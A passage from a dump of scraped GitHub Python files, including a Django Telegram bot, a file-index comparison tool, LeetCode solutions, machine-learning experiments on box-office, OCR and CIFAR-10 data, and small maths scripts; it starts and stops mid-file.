render_to_string('feed.md', {'items': parse_intercept_rss()})\n\nclass CommandReceiveView(View):\n\t\"\"\"receives post request and handles it appropriately accng to command\"\"\"\n\tdef post(self, request, bot_token):\n\t\tif bot_token != TOKEN:\n\t\t\treturn HttpResponseForbidden('Invalid token')\n\n\t\tcommands = {\n\t\t\t'start/': display_help,\n\t\t\t'help': display_help,\n\t\t\t'feed': display_intercept_feed,\n\t\t}\n\n\t\ttry:\n\t\t\tpayload = json.loads(request.body.decode('utf-8'))\n\t\texcept ValueError:\n\t\t\tHttpResponseBadRequest('invalid request body')\n\t\telse:\n\t\t\tchat_id = payload['message']['chat']['id']\n\t\t\tcmd = payload['message'].get('text')\n\t\t\tfunc = commands.get(cmd.split()[0].lower())\n\t\t\tif func:\n\t\t\t\tAlekiBot.sendMessage(chat_id, func(), parse_mode='Markdown')\n\t\t\telse:\n\t\t\t\tAlekiBot.sendMessage(chat_id, 'I do not understand you sir')\n\n\t\treturn JsonResponse({}, status=200)\n\n\n@method_decorator(csrf_exempt)\ndef dispatch(self, request, *args, **kwargs):\n\treturn super(CommandReceiveView, self).dispatch(request, *args, **kwargs)\n\n\n\n\n\n\n\n\n\n","repo_name":"alexmzirai/DjangoBot","sub_path":"djangobot/bot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13145252900","text":"#!/usr/bin/python3\n\"\"\"Example to read a file text.\"\"\"\n\n#with open('text_files/pi_digits.txt') as file_object:\n #contents = file_object.read()\n #print(contents.rstrip())\n\n# Absolute file path\n#file_path = '/home/humberto/Documents/Repositories/practices/python/PythonCrashCourse/PartI/Chapter10/text_files/pi_digits.txt'\n# Relative file path\nfile_path = 'text_files/pi_digits.txt'\n\n#with open(file_path) as file_object:\n #contents = file_object.read()\n #print(contents.rstrip())\n\n#with open(file_path) as file_object:\n #for line in file_object:\n #print(line.rstrip())\n\nwith open(file_path) as file_object:\n lines = file_object.readlines()\n\nfor line in lines:\n print(line.rstrip())\n","repo_name":"humbertoperdomo/practices","sub_path":"python/PythonCrashCourse/PartI/Chapter10/file_reader.py","file_name":"file_reader.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23575456211","text":"\"\"\"Index of files in a directory structure.\"\"\"\nimport collections\nimport contextlib\nimport logging\nimport pathlib\nimport sqlite3\nimport typing as t\n\nimport click\nimport tqdm\n\nfrom findex.db import Storage, opened_storage\nfrom findex.fs import FileDesc, FILEHASH_WALK_ERROR, count_files, walk\n\nMETA_ROOT_SPECIFIED = \"ROOT_SPECIFIED\"\nMETA_ROOT_RESOLVED = \"ROOT_RESOLVED\"\n\n_logger = logging.getLogger(__name__)\n\n\nclass Index(Storage):\n \"\"\"Index of file path by content, based on sqlite.\"\"\"\n\n def create(self, path: pathlib.Path):\n \"\"\"Create index of given directory.\"\"\"\n\n _logger.info(f\"Creating index of {path}.\")\n self.create_db()\n errors = []\n\n def _on_error(error: OSError):\n _logger.warning(error)\n errors.append(\n FileDesc(\n path=str(pathlib.Path(error.filename).relative_to(path)),\n size=0,\n fhash=FILEHASH_WALK_ERROR.format(message=error.strerror),\n created=None,\n modified=None,\n )\n )\n\n click.echo(f\"Counting files in {path}...\")\n count = count_files(path, _on_error)\n\n with opened_storage(self):\n self._put_meta(META_ROOT_SPECIFIED, str(path))\n self._put_meta(META_ROOT_RESOLVED, str(path.resolve()))\n\n _logger.debug(f\"Writing {len(errors)} walk errors to database.\")\n for errordesc in errors:\n self._add_file(errordesc)\n\n _logger.info(f\"Found {count} files to be added to index.\")\n for filedesc in tqdm.tqdm(\n walk(path), total=count, desc=\"Read\", unit=\"files\"\n ):\n self._add_file(filedesc)\n self._on_update()\n\n def _add_file(self, filedesc: FileDesc):\n try:\n self.connection.execute(\n \"INSERT INTO file (path,size,hash,created,modified)\"\n \" VALUES (?,?,?,datetime(?),datetime(?));\",\n filedesc,\n )\n except sqlite3.OperationalError:\n _logger.error(f\"Cannot add file to database: {filedesc}\")\n raise\n\n def count(self):\n with opened_storage(self):\n return self.connection.execute(\"SELECT COUNT(*) from file\").fetchone()[0]\n\n def iter_all(self):\n with opened_storage(self):\n with contextlib.closing(self.connection.cursor()) as cursor:\n for row in cursor.execute(\n \"SELECT path,size,hash,created,modified from file\"\n ):\n yield FileDesc._make(row)\n\n\nFilesMap = collections.namedtuple(\"FilesMap\", \"fhash size files1 files2\")\n\"\"\"Files in comparison with identical content hash.\"\"\"\n\n\nclass Comparison(Storage):\n \"\"\"Comparison of two index databases.\"\"\"\n\n def create(self, index1: Index, index2: Index):\n \"\"\"Create comparison of two file index files.\"\"\"\n\n _logger.info(f\"Creating comparison {self.path}.\")\n\n self.create_db()\n\n with opened_storage(self):\n click.echo(f\"\\nAdding data from {index1.path}.\")\n self._add_index(index1, \"1\")\n click.echo(f\"\\nAdding data from {index2.path}.\")\n self._add_index(index2, \"2\")\n\n def _add_index(self, index: Index, table_suffix: str):\n for file in tqdm.tqdm(index.iter_all(), total=index.count(), unit=\"files\"):\n self._add_file(file, f\"file{table_suffix}\")\n self._on_update()\n\n # copy meta data of index:\n for key, value in index.iter_meta():\n self._put_meta(self._index_key(key, table_suffix), value)\n\n @staticmethod\n def _index_key(key: str, table_suffix: str) -> str:\n return f\"INDEX{table_suffix}_{key}\"\n\n def get_index_meta(self, key: str, table_suffix: str) -> t.Optional[str]:\n return self.get_meta(self._index_key(key, table_suffix))\n\n def _add_file(self, filedesc: FileDesc, table: str):\n try:\n self.connection.execute(\n f\"INSERT INTO {table} (path,size,hash,created,modified)\"\n f\" VALUES (?,?,?,datetime(?),datetime(?));\",\n filedesc,\n )\n except sqlite3.OperationalError:\n _logger.error(f\"Cannot add file to database: {filedesc}\")\n raise\n\n def _iter_exclusive_files(\n self, table_contained, table_not_contained, *, include_updated=False\n ):\n \"\"\"Return files only in table_contained, but not in table_not_contained.\"\"\"\n assert table_contained != table_not_contained\n\n if include_updated:\n excluded_paths = {}\n else:\n excluded_paths = {f.path for f in self.iter_updated()}\n\n with opened_storage(self):\n with contextlib.closing(self.connection.cursor()) as cursor:\n for row in cursor.execute(\n f\"SELECT \"\n f\" {table_contained}.path,\"\n f\" {table_contained}.size,\"\n f\" {table_contained}.hash,\"\n f\" {table_contained}.created,\"\n f\" {table_contained}.modified \"\n f\"FROM {table_contained} LEFT OUTER JOIN {table_not_contained} \"\n f\" ON {table_contained}.hash = {table_not_contained}.hash \"\n f\"WHERE {table_not_contained}.hash IS NULL \"\n f\"ORDER BY {table_contained}.path\"\n ):\n file = FileDesc._make(row)\n\n if file.path not in excluded_paths:\n yield file\n\n def iter_missing(self, *, include_updated=False):\n \"\"\"Return files only in index 1, but not in 2.\"\"\"\n return self._iter_exclusive_files(\n \"file1\", \"file2\", include_updated=include_updated\n )\n\n def iter_new(self, *, include_updated=False):\n \"\"\"Return files only in index 2, but not in 1.\"\"\"\n return self._iter_exclusive_files(\n \"file2\", \"file1\", include_updated=include_updated\n )\n\n def iter_updated(self):\n \"\"\"Return files that have an identical path but different hashes.\"\"\"\n with opened_storage(self):\n with contextlib.closing(self.connection.cursor()) as cursor:\n for row in cursor.execute(\n \"SELECT \"\n \" file1.path,\"\n \" file1.size,\"\n \" file1.hash,\"\n \" file1.created,\"\n \" file1.modified \"\n \"FROM file1 JOIN file2 \"\n \" ON file1.path = file2.path \"\n \"WHERE file1.hash != file2.hash \"\n \"ORDER BY file1.path\"\n ):\n yield FileDesc._make(row)\n\n def iter_content_groups(self):\n \"\"\"Return list of pairs of paths in index 1 and index 2 that have identical content.\n\n In case of duplicates in an index, there is possibly more than one file in each of the\n pairs' elements.\n \"\"\"\n with opened_storage(self):\n with contextlib.closing(self.connection.cursor()) as cursor:\n for row in cursor.execute(\n \"SELECT \"\n \" file1.hash,\"\n \" file1.size,\"\n \" group_concat(DISTINCT file1.path) AS files1,\"\n \" group_concat(DISTINCT file2.path) AS files2 \"\n \"FROM file1 JOIN file2 \"\n \" ON file1.hash == file2.hash \"\n \"GROUP BY file1.hash,file1.size \"\n \"ORDER BY files1\"\n ):\n fmap = FilesMap._make(row)\n\n # unpack CSV fields:\n yield fmap._replace(\n files1=fmap.files1.split(\",\"), files2=fmap.files2.split(\",\")\n )\n\n def report_raw(self):\n click.echo()\n click.secho(\"Missing files:\", underline=True, bold=True, fg=\"bright_cyan\")\n click.echo(\"\\n\".join(f.path for f in self.iter_missing()))\n\n click.echo()\n click.secho(\"New files:\", underline=True, bold=True, fg=\"bright_cyan\")\n click.echo(\"\\n\".join(f.path for f in self.iter_new()))\n\n click.echo()\n click.secho(\"Updated files:\", underline=True, bold=True, fg=\"bright_cyan\")\n click.echo(\"\\n\".join(f.path for f in self.iter_updated()))\n\n click.echo()\n click.secho(\"Identical files:\", underline=True, bold=True, fg=\"bright_cyan\")\n num_groups = sum(1 for _ in self.iter_content_groups())\n click.echo(f\"{num_groups} groups with identical content in both indices.\")\n","repo_name":"moltob/findex","sub_path":"findex/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":8667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28912203873","text":"from typing import Optional\nfrom list_node import ListNode\n\nclass Solution:\n def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:\n if not head or not head.next:\n return None\n\n left, right = head, head\n\n while n > 0:\n right = right.next\n n -= 1\n\n prev_left = None\n\n while right is not None:\n prev_left = left\n left = left.next\n right = right.next\n\n next_left = left.next\n if prev_left is None:\n head = next_left\n else:\n prev_left.next = next_left\n\n return head\n","repo_name":"ysakiyev/31github","sub_path":"neetcode_150/linked_lists/19_remove_nth_node_from_end.py","file_name":"19_remove_nth_node_from_end.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12022775168","text":"#imports\n\nimport numpy as np\nimport pandas as pd\n\nfrom collections import Counter\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_log_error\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.ensemble import BaggingRegressor, AdaBoostRegressor, ExtraTreesRegressor, RandomForestRegressor\nfrom sklearn.decomposition import PCA\nfrom sklearn.feature_selection import SelectKBest, f_classif\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler\nfrom sklearn.metrics import confusion_matrix, cohen_kappa_score, classification_report\nfrom sklearn.model_selection import cross_val_score\n\nimport ast\n\nimport plotly\nimport plotly.plotly as py\nimport plotly.graph_objs as go\n\nimport matplotlib.pyplot as plt\n\n# reading the csv \n\n\nboxoffice_df = pd.read_csv('train.csv', index_col=None)\n\ndict_columns = ['genres']\n\ndef text_to_dict(df):\n for column in dict_columns:\n df[column] = df[column].apply(lambda x: {} if pd.isna(x) else ast.literal_eval(x) )\n return df\n\nboxoffice_df = text_to_dict(boxoffice_df)\n#pre-analisis\n\nprint(boxoffice_df.head(10))\nprint(boxoffice_df.dtypes)\n\n#genre filling\nfor i, e in enumerate(boxoffice_df['genres'][:5]):\n print(i, e)\n \nlist_of_genres = list(boxoffice_df['genres'].apply(lambda x: [i['name'] for i in x] if x != {} else []).values)\nprint(Counter([i for j in list_of_genres for i in j]).most_common())\n\nboxoffice_df['num_genres'] = boxoffice_df['genres'].apply(lambda x: len(x) if x != {} else 0)\nboxoffice_df['all_genres'] = boxoffice_df['genres'].apply(lambda x: ' '.join(sorted([i['name'] for i in x])) if x != {} else '')\ntop_genres = [m[0] for m in Counter([i for j in list_of_genres for i in j]).most_common(15)]\nfor g in top_genres:\n boxoffice_df['genre_' + g] = boxoffice_df['all_genres'].apply(lambda x: 1 if g in x else 0)\n \nboxoffice_df = boxoffice_df.drop(['genres'], axis=1)\n\n#outliers\n\nbudget_data = boxoffice_df['budget']\npopularity_data = boxoffice_df['popularity']\n# plt.boxplot(popularity_data)\n# plt.show()\n\nbudget_upper_limit = 200000000\npopularity_upper_limit = 75\n\npopularity_data.loc[boxoffice_df['popularity']>popularity_upper_limit] = popularity_upper_limit\nbudget_data.loc[boxoffice_df['budget']>budget_upper_limit] = budget_upper_limit\n\n# plt.boxplot(popularity_data)\n# plt.show()\n\n# print(\"Number of genres in films:\")\n# print(boxoffice_df['genres'].apply(lambda x: len(x) if x != {} else 0).value_counts())\n\n\n#data preparation\n\n\nprocessed_df = boxoffice_df.drop(['belongs_to_collection','homepage','overview','poster_path','production_companies','imdb_id',\n 'spoken_languages','production_countries','tagline','Keywords','cast','crew'],axis=1)\n\n# filling missing atributes\n\nprocessed_df.runtime.fillna(value=processed_df.runtime.mean(),inplace=True)\nprint(processed_df.dtypes)\nprint(processed_df.apply(lambda x: x.isnull().any()))\n\n\nprint(processed_df.head(10))\n\n#strings to categorical features\nprocessed_df['original_language'] = processed_df.original_language.astype('category')\nprocessed_df['original_title'] = processed_df.original_title.astype('category')\nprocessed_df['release_date'] = processed_df.release_date.astype('category')\nprocessed_df['status'] = processed_df.status.astype('category')\nprocessed_df['title'] = processed_df.title.astype('category')\nprocessed_df['all_genres'] = processed_df.all_genres.astype('category')\n\nprocessed_df['original_language'] = pd.get_dummies(processed_df['original_language'])\nprocessed_df['original_title'] = pd.get_dummies(processed_df['original_title'])\nprocessed_df['release_date'] = pd.get_dummies(processed_df['release_date'])\nprocessed_df['status'] = pd.get_dummies(processed_df['status'])\nprocessed_df['title'] = pd.get_dummies(processed_df['title'])\nprocessed_df['all_genres'] = pd.get_dummies(processed_df['all_genres'])\n\n\n# separate class from features\ndata_features = processed_df.drop(['revenue'],axis=1).values\ndata_labels = processed_df['revenue'].values\n\n\n\n#pca \n\n\npca = PCA(n_components=4)\nfit = pca.fit(data_features)\nprint(\"Explained Variance:\")\nprint(fit.explained_variance_ratio_)\nprint(fit.components_)\n\n#univariate selection \n# test = SelectKBest(score_func=f_classif,k=4)\n# fit = test.fit(data_features,data_labels)\n# np.set_printoptions(precision=3)\n# print(fit.scores_)\n# features = fit.transform(data_features)\n# print(features[0:10])\n\n#min_max\n\nscaler = MinMaxScaler()\nscaler.fit(data_features)\nfeatures = scaler.fit_transform(data_features)\n\n#standard\nscaler = StandardScaler()\nfeatures = scaler.fit_transform(data_features)\n\n\nX_train, X_test, Y_train, Y_test = train_test_split(features, data_labels, test_size=0.3)\n#decision tree \n\nclf = DecisionTreeRegressor(max_depth=5,max_features=1)\n\nclf.fit(X_train,Y_train)\n\nscore = clf.score(X_test,Y_test)\n\nprint(score)\n\ny_pred = clf.predict(X_test)\n\n\n\nnames = [\"Decision Tree Regressor\", \"MLP Regressor\", \"Random Forest Regressor\", \"AdaBoost\", \"Bagging Regressor\",\"Extra Trees Regressor\"]\n\nclassifiers = [\n DecisionTreeRegressor(max_depth=5,max_features=1),\n MLPRegressor(alpha=1,max_iter=200,power_t=0.9,batch_size=50),\n RandomForestRegressor(max_depth=5, max_features=1, n_estimators=10),\n AdaBoostRegressor(n_estimators=10),\n BaggingRegressor(max_features=1,n_estimators=10,base_estimator=clf),\n ExtraTreesRegressor(max_depth=5)\n]\n\nfor name, clf in zip(names, classifiers):\n clf.fit(X_train,Y_train)\n score = clf.score(X_test,Y_test)\n y_pred = clf.predict(X_test)\n print(name+\": \"+str(score))\n mse = mean_squared_log_error(Y_test,y_pred)\n print('MSE: %.4f' % mse)\n # print(confusion_matrix(Y_test,y_pred,labels=None))\n # print(cohen_kappa_score(Y_test,y_pred, labels=None))\n # print(classification_report(Y_test,y_pred,labels=None))","repo_name":"Chriscalde/EvidenciasCursoAIULSA2019_4501","sub_path":"tmdb-box-office-prediction/boxoffice.py","file_name":"boxoffice.py","file_ext":"py","file_size_in_byte":5826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14233113280","text":"# Uses python3\nimport sys\n\ndef binary_search(a, x):\n left = 0\n right = len(a) - 1\n\n def search(left, right, a, x):\n n = right - left\n\n if n == 0:\n return left if a[left] == x else -1 \n\n mid = left + n//2\n\n if a[mid] >= x:\n return search(left, mid, a, x)\n else:\n return search(mid + 1, right, a, x)\n\n return search(left, right, a, x)\n\n\ndef linear_search(a, x):\n for i in range(len(a)):\n if a[i] == x:\n return i\n return -1\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n data = list(map(int, input.split()))\n n = data[0]\n m = data[n + 1]\n a = data[1 : n + 1]\n for x in data[n + 2:]:\n # replace with the call to binary_search when implemented\n #print(linear_search(a, x), end = ' ')\n print(binary_search(a, x), end = ' ')\n","repo_name":"mcgaw/psychic-garbanzo","sub_path":"1/week4/binary_search/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74029995252","text":"from datetime import datetime\nfrom logging import getLogger\n\nfrom mr_owlf_mls.repository.author import AuthorRepository\nfrom mr_owlf_mls.repository.domain import DomainRepository\nfrom mr_owlf_mls.service.translator import translate\nfrom mr_owlf_mls.util.data import clean\nfrom pandas import DataFrame\nfrom pymongo.database import Database\n\nFAKE = 'FAKE'\nNOT_FAKE = 'NOT_FAKE'\n\n\nclass Process:\n \"\"\"\n This class is responsible to calculate your data score.\n \"\"\"\n\n def __init__(self, clf: any, vectorizer: any, db: Database):\n \"\"\"\n Default constructor.\n :param clf: Classifier\n :param vectorizer: Vectorizer\n :param db: Database Connection Instance\n \"\"\"\n self.log = getLogger('root')\n self.clf = clf\n self.vectorizer = vectorizer\n self.author_repository = AuthorRepository(db)\n self.domain_repository = DomainRepository(db)\n\n def run(self, **kwargs) -> float:\n \"\"\"\n Calculate news score.\n If no arguments are passed it will return \"0.0\" as score.\n :param kwargs: Optional arguments to calculate data score.\n sentence (str): News sentence\n author (str): Author(s) name(s)\n domain (str): News domain\n publish_date (str): The UTC date that it was published [YYYY-MM-DD]\n :return: Score\n \"\"\"\n self.log.info(f'SCORE # Calculating score...')\n score = 0.0\n if len(kwargs) == 0:\n return score\n\n if 'sentence' in kwargs:\n score = score + (self.sentence_score(kwargs.get('sentence')) * 6.5)\n\n if 'author' in kwargs:\n score = score + (self.author_score(kwargs.get('author')) * 1.25)\n\n if 'domain' in kwargs:\n score = score + (self.domain_score(kwargs.get('domain')) * 1.25)\n\n if 'publish_date' in kwargs:\n score = score + (self.publish_date_score(kwargs.get('publish_date')) * 1.0)\n\n score = float(score / 10)\n self.log.info(f'SCORE # \"{score}\"\\n')\n return score\n\n def sentence_score(self, sentence: str) -> float:\n if sentence is None or sentence.strip() == '':\n return 0.0\n\n data = DataFrame({'content': [clean(translate(sentence))]})\n data_cvec = self.vectorizer.transform(data['content'])\n preds_prob = self.clf.predict_proba(data_cvec)\n\n fake = '{0:.2f}'.format(preds_prob[0][0])\n not_fake = '{0:.2f}'.format(preds_prob[0][1])\n self.log.info(f'SENTENCE # Prob. to be true \"{not_fake}\" (false \"{fake}\")')\n\n return float(preds_prob[0][1])\n\n def author_score(self, author_name: str) -> float:\n if author_name is None or author_name.strip() == '':\n return 0.0\n\n author = self.author_repository.find(author_name.lower().strip())\n if author is None or 'classification' not in author:\n return 0.0\n\n clf = author['classification']\n good = int(clf[NOT_FAKE]) if NOT_FAKE in clf else 0\n bad = int(clf[FAKE]) if FAKE in clf else 0\n total = good + bad\n score = 5.0 if total == 0 else float(good / total)\n\n self.log.info(f'AUTHOR # \"{author_name}\" score is \"{score}\"')\n return score\n\n def domain_score(self, domain_name: str) -> float:\n if domain_name is None or domain_name.strip() == '':\n return 0.0\n\n domain = self.domain_repository.find(domain_name.lower().strip())\n if domain is None or 'classification' not in domain:\n return 0.0\n\n clf = domain['classification']\n good = int(clf[NOT_FAKE]) if NOT_FAKE in clf else 0\n bad = int(clf[FAKE]) if FAKE in clf else 0\n total = good + bad\n score = 5.0 if total == 0 else float(good / total)\n\n self.log.info(f'DOMAIN # \"{domain_name}\" score is \"{score}\"')\n return score\n\n def publish_date_score(self, publish_date: str) -> float:\n if publish_date is None or publish_date.strip() == '':\n return 0.0\n\n score = -1.0\n try:\n date = datetime.strptime(publish_date, '%Y-%m-%d').date()\n now = datetime.date(datetime.utcnow())\n if date < now:\n score = 1.0\n except ValueError as ex:\n self.log.warning(f'PUBLISH DATE # \"{publish_date}\" is not a valid date! Message: {ex}')\n\n self.log.info(f'PUBLISH DATE # \"{publish_date}\" score is \"{score}\"')\n return score\n","repo_name":"avcaliani/mr-owlf","sub_path":"mr-owlf-mls/mr_owlf_mls/service/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"14219918830","text":"\nimport yaml\nimport numpy as np\nimport tensorflow as tf\nimport keras\nfrom keras import layers\nfrom keras.layers import Conv2D, Input, MaxPooling2D\nfrom keras.layers import Bidirectional, LSTM, Dense\nfrom keras.layers import BatchNormalization, Bidirectional, Activation, Dropout, Reshape, Lambda\nfrom keras.models import Model\nfrom keras.utils import plot_model\nfrom keras import backend as K \n\nconfig_path = \"./conf/conf.yaml\"\n\ndef ctc_lambda_func(args):\n y_pred, labels, input_length, label_length = args\n # the 2 is critical here since the first couple outputs of the RNN\n # tend to be garbage:\n y_pred = y_pred[2:, :]\n return K.ctc_batch_cost(labels, y_pred, input_length, label_length)\n\nclass CRNN:\n\n def __init__(self, input_shapes, class_num=37):\n \n self.config = self.get_Config()\n self.input_shapes = input_shapes\n self.class_num = class_num\n self.CNN_layer = self.make_CNN()\n self.RNN_layer = self.make_RNN()\n self.CRNN_model = self.create_model()\n\n def get_Config(self):\n with open(config_path, \"r\") as stream:\n conf = yaml.load(stream, Loader=yaml.FullLoader)\n return conf[\"model\"]\n\n # create CNN\n def make_CNN(self):\n CNN_CONFIG = self.config[\"CNN\"]\n #print(CNN_CONFIG)\n \n layers = [\"L1\", \"L2\", \"M\", \"L3\", \"L4\", \"C\", \"L5\", \"L6\", \"L7\", \"C\", \"L8\", \"L9\", \"C\", \"M\", \"L10\", \"L11\", \"L12\", \"M\"]\n \n input_shapes = self.input_shapes\n inputs = Input(shape=input_shapes, name=\"CNN_inputs\")\n\n inner = Conv2D(filters=CNN_CONFIG[\"L1\"][\"filters\"], kernel_size=(CNN_CONFIG[\"L1\"][\"kernels\"], CNN_CONFIG[\"L1\"][\"kernels\"]),\n padding=CNN_CONFIG[\"L1\"][\"padding\"])(inputs)\n inner = BatchNormalization()(inner)\n inner = Activation(CNN_CONFIG[\"L1\"][\"activation\"])(inner)\n\n for _, layer in enumerate(layers[1:], 1):\n if layer == \"M\":\n inner = MaxPooling2D(pool_size=(2, 2), strides=2)(inner)\n elif layer == \"C\":\n inner = MaxPooling2D(pool_size=(2, 2), strides=(2, 1))(inner)\n else:\n inner = Conv2D(filters=CNN_CONFIG[layer][\"filters\"], kernel_size=(CNN_CONFIG[layer][\"kernels\"], CNN_CONFIG[layer][\"kernels\"]),\n padding=CNN_CONFIG[layer][\"padding\"])(inner)\n inner = BatchNormalization()(inner)\n inner = Activation(CNN_CONFIG[layer][\"activation\"])(inner)\n\n model = Model(inputs, inner)\n #plot_model(model, to_file='CNN.png', show_shapes=True)\n return model\n\n def make_RNN(self):\n input_shapes = K.int_shape(self.CNN_layer.layers[-1].output)\n input_shapes = input_shapes[2:]\n #print(\"RNN input shapes = \", input_shapes)\n\n inputs = Input(shape=input_shapes, name=\"RNN_input\")\n inner = Bidirectional(LSTM(units=128, return_sequences=True, dropout=0.3))(inputs)\n inner = Bidirectional(LSTM(units=64, return_sequences=True, dropout=0.3))(inner)\n inner = Dropout(rate=0.25)(inner)\n inner = Dense(units=self.class_num)(inner)\n outputs = Activation('softmax')(inner)\n\n model = Model(inputs, outputs)\n #plot_model(model, to_file='RNN.png', show_shapes=True)\n return model\n\n def create_model(self):\n inputs = Input(shape=self.input_shapes, name='CRNN_input')\n\n x = inputs\n for i in range(1, len(self.CNN_layer.layers)):\n x = self.CNN_layer.layers[i](x)\n rnn_input_shapes = np.shape(x)[2:]\n x = Reshape((rnn_input_shapes[0], rnn_input_shapes[1]))(x)\n for j in range(1, len(self.RNN_layer.layers)):\n x = self.RNN_layer.layers[j](x)\n \n outputs = x\n\n labels = Input(shape=(4, 37), name=\"label\", dtype=\"float32\")\n input_length = Input(name='input_length', shape=[1], dtype='int64')\n label_length = Input(name='label_length', shape=[1], dtype='int64')\n\n loss_out = Lambda(ctc_lambda_func, output_shape=(1,), name='ctc')([outputs, labels, input_length, label_length])\n \n crnn_model = Model([inputs, labels, input_length, label_length], loss_out)\n \n plot_model(crnn_model, to_file='CRNN.png', show_shapes=True)\n\n return crnn_model\n\n\n\"\"\" for test \"\"\"\n\"\"\"\ninput_shapes = (64, 128, 3)\nmodel = CRNN(input_shapes).CRNN_model\nmodel.summary()\n\"\"\"\n\n","repo_name":"Huang-Ray/OCR-KERAS","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12759816251","text":"class Solution:\n def bob_helper(self, cur_arrows, cur_index, ans):\n if cur_index == len(self.aliceArrows):\n if cur_arrows > 0:\n ans[1][0] += cur_arrows\n return ans\n \n score, res_arr = ans[0], ans[1].copy()\n res = self.bob_helper(cur_arrows, cur_index+1, (score, res_arr) )\n \n \n arrow_cost = self.aliceArrows[cur_index] + 1\n new_arrow = cur_arrows - arrow_cost\n \n if new_arrow >= 0: \n \n score, res_arr = ans[0], ans[1].copy()\n score += cur_index\n res_arr[cur_index] = arrow_cost \n \n res_taken = self.bob_helper(new_arrow, cur_index+1,(score, res_arr) )\n \n res = res if res[0] > res_taken[0] else res_taken\n \n return res \n \n def maximumBobPoints(self, numArrows: int, aliceArrows: List[int]) -> List[int]:\n \n self.aliceArrows = aliceArrows\n ans = ( 0, [0]*len(aliceArrows) )\n res = self.bob_helper(numArrows, 0, ans)\n \n return res[1]\n","repo_name":"YohansHailu/competitive_programming","sub_path":"daynamic_programing/Maximum_Points_in_an_Archery_Competition.py","file_name":"Maximum_Points_in_an_Archery_Competition.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41805209610","text":"import pandas as pd\n\n\ndef make_spectrum():\n \"\"\"Make an artificial spectrum using the lines from NIST\n \"\"\"\n # Load the list of peaks\n df = pd.read_csv('persistent_lines.csv')\n\n print(df.head())\n\n\nif __name__ == \"__main__\":\n make_spectrum()\n","repo_name":"piovere/backprop","sub_path":"data/atoms/spectra.py","file_name":"spectra.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22702067095","text":"colls = int(input(\"Введите колличество столбцов: \"))\nprint(f\"Колличество элементов == {colls*2}\")\nfirtststring = [] # −1 2 5 10 20\nsecondstring = [] # 0.1 0.2 0.3 0.3 0.1\nMathematicalExpectation = []\nSquaredFirstString = []\nDispercyMultiplier = []\ndef Frac(i):\n try:\n return float(i)\n except ValueError:\n n, d = i.split('/')\n return float(n)/float(d)\nfor i in range(0, colls):\n firtststring.insert(i, Frac(input(\"1 : \")))\nfor i in range(0, colls):\n secondstring.insert(i, Frac(input(\"2 : \")))\nprint()\nprint(\"=\"*30)\nprint()\nfor i in range(0, len(firtststring)):\n print(f\" : {firtststring[i]} * {secondstring[i]} = {firtststring[i]*secondstring[i]}\")\n MathematicalExpectation.insert(i, float(firtststring[i]*secondstring[i]))\nMathematicalExpectation = sum(MathematicalExpectation)\nprint()\nprint(f\"Мат.Ожидание == {MathematicalExpectation}\")\nprint()\nfor i in range(0, colls):\n print(f\" : {firtststring[i]}^2 * {secondstring[i]} = {firtststring[i]**2 * secondstring[i]}\")\n SquaredFirstString.insert(i, firtststring[i]**2 * secondstring[i])\nSquaredFirstString = sum(SquaredFirstString)\nprint()\nprint(f\" : {SquaredFirstString} - {MathematicalExpectation}^2 == {SquaredFirstString - MathematicalExpectation**2}\")\nprint()\nprint(f\"Квадратичное Мат.Ожидание == {SquaredFirstString}\")\nprint(f\"Дисперсия == {SquaredFirstString - MathematicalExpectation**2}\")","repo_name":"L0w1y/DispersionAndMathExpectationSearcher","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21736486127","text":"'''\nLink to dataset used in the task: https://www.cs.toronto.edu/~kriz/cifar.html\n\nSetup instructions:\n1. Import/Install all the required libraries from Step1 (if they are highlighted with red colour, they should\nstill work after they are installed)\n2. Run the program\nSzymon Kuczyński s22466\n'''\n\nimport tensorflow as tf\nfrom tensorflow.keras.datasets import cifar10\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, Dropout\nfrom sklearn.metrics import confusion_matrix\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n'''Load CIFAR-10 Dataset: Loads the CIFAR-10 dataset using cifar10.load_data() function and assigns training and \ntesting images along with their respective labels to variables train_images, train_labels, test_images, and test_labels.'''\n(train_images, train_labels), (test_images, test_labels) = cifar10.load_data()\n\n'''Normalize Pixel Values: Scales pixel values in the images to a range between 0 and 1 by dividing train_images \nand test_images by 255.0.'''\ntrain_images, test_images = train_images / 255.0, test_images / 255.0\n\n'''Initialize Sequential Model: Creates a sequential model using Keras, which allows linear stacking of layers.\nAdd 